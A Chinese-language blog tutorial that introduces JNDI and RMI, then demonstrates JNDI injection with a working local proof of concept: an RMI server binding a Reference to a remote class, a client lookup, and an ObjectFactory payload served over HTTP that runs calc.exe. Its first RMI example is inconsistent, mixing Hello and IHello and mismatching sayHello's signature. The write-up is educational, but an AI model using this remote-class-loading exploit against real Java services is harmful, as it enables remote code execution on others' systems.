关于JDNI注入的一些了解

JNDI

JDNI介绍以及调用

jndi的全称为Java Naming and Directory Interface, 一种标准的Java命名系统接口, JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

命名服务最典型的服务当属RMI。而目录服务典型的则是LDAP

JDNI就是可以用来轻松访问RMILDAP的,相当于一个中转,访问两者之间也不再需要各自复杂的代码了。

 

那么如何用JNDI访问RMI服务呢?

首先呢,要实现一个接口,就需要用到RMI里面的Remote,还需要返回错误,所以还需要RemoteException。下面引用官方的代码:

package example.hello;

 

import java.rmi.Remote;

import java.rmi.RemoteException;

 

public interface Hello extends Remote {

    String sayHello() throws RemoteException;

}

Interface hello设置一个java接口,Remote表名为一个远程接口。Hello继承Remote的远程接口。

该接口有3个作用。

1.供本地对象来实现;
2.供客户端来依赖

3.供rmic来生成桩(stub)和骨架(skeleton)

 

再通过创建一个类来实现这个远程接口:

import java.rmi.RemoteException;

import java.rmi.server.UnicastRemoteObject;

 

public class HelloImpl extends UnicastRemoteObject implements Hello {

    protected HelloImpl() throws RemoteException {

        super();

    }

 

    @Override

    public String sayHello(String name) throws RemoteException {

        return "Hello " + name;

    }

}

UnicastRemoteObject用于通过JRMP导出远程对象并获得与远程对象通信的存根。存根是在运行时使用动态代理对象生成的。

@Override是伪代码,表示重写。写上有如下好处: 
1、可以当注释用,方便阅读;
2、编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错

创建一个类实现对象的绑定,以及远程对象的调用

 

import javax.naming.Context;

import javax.naming.InitialContext;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.util.Properties;

 

public class CallService {

    public static void main(String[] args) throws Exception{

 

        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常

        Properties env = new Properties();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

 

        // 创建初始化环境

        Context ctx = new InitialContext(env);

 

        // 创建一个rmi映射表

        Registry registry = LocateRegistry.createRegistry(1099);

        // 创建一个对象

        IHello hello = new IHelloImpl();

        // 将对象绑定到rmi注册表

        registry.bind("hello", hello);

 

        //  jndi的方式获取远程对象

        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");

        // 调用远程对象的方法

        System.out.println(rhello.sayHello("hhh"));

    }

}

 

JNDI注入

JDNI注入的原理:

JNDI注入的原理是将恶意的Reference类绑定到RMI注册表中,引用指向远程恶意的class文件。当JNDI客户端的lookup参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,就可以使用户访问RMI注册表中绑定恶意的Reference类,从而导致注入。

 

javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的class中需要实例化类的名称
  3. classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapperReference的实例进行一个封装。

Reference refObj = new Reference("refClassName", "insClassName", "http://hhh.com:6666/");

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

registry.bind("refObj", refObjWrapper);

lookup获取远程对象时,获得的是Reference存根,客户端会在本地的classpath检查是否存在refClassName类,不存在则去第三个参数中的地址中加载。并且调用insClassName的构造函数,所以可以在构造函数里写入恶意代码。

下面是构造代码,需要三个文件,使用的是jdk7u21

客户端:

import javax.naming.Context;import javax.naming.InitialContext;

public class CLIENT {

 

    public static void main(String[] args) throws Exception {

 

        String uri = "rmi://127.0.0.1:1099/aa";

        Context ctx = new InitialContext();

        ctx.lookup(uri);

 

    }

}

服务端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;

public class SERVER {

 

    public static void main(String args[]) throws Exception {

 

        Registry registry = LocateRegistry.createRegistry(1099);

        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");

        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);

        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");

        registry.bind("aa", refObjWrapper);

 

    }

}

 

ExecTest

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

 

    @Override

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {

        exec("xterm");

        return null;

    }

 

    public static String exec(String cmd) {

        try {

            Runtime.getRuntime().exec("calc.exe");

        } catch (IOException e) {

            e.printStackTrace();

        }

        return "";

    }

 

    public static void main(String[] args) {

        exec("123");

}

}

需要使用javac ExecTest.java对文件进行class编译。然后用命令行在项目地址里开启http服务。py -3 -m http.server 8081

 

成功弹出计算器。

JDNI注入是fastjson1.2.24反序列化的前置条件,因为fastjson1.2.24有两个调用链可以进行反序列化攻击。JNDI就是其中一种,下一篇再讲fastjson的反序列化。

 

参考文章:https://xz.aliyun.com/t/6633

https://blog.csdn.net/he_and/article/details/105586691?spm=1001.2014.3001.5501

 

posted @ 2021-03-05 14:51  Cold灬  阅读(1051)  评论(0编辑  收藏  举报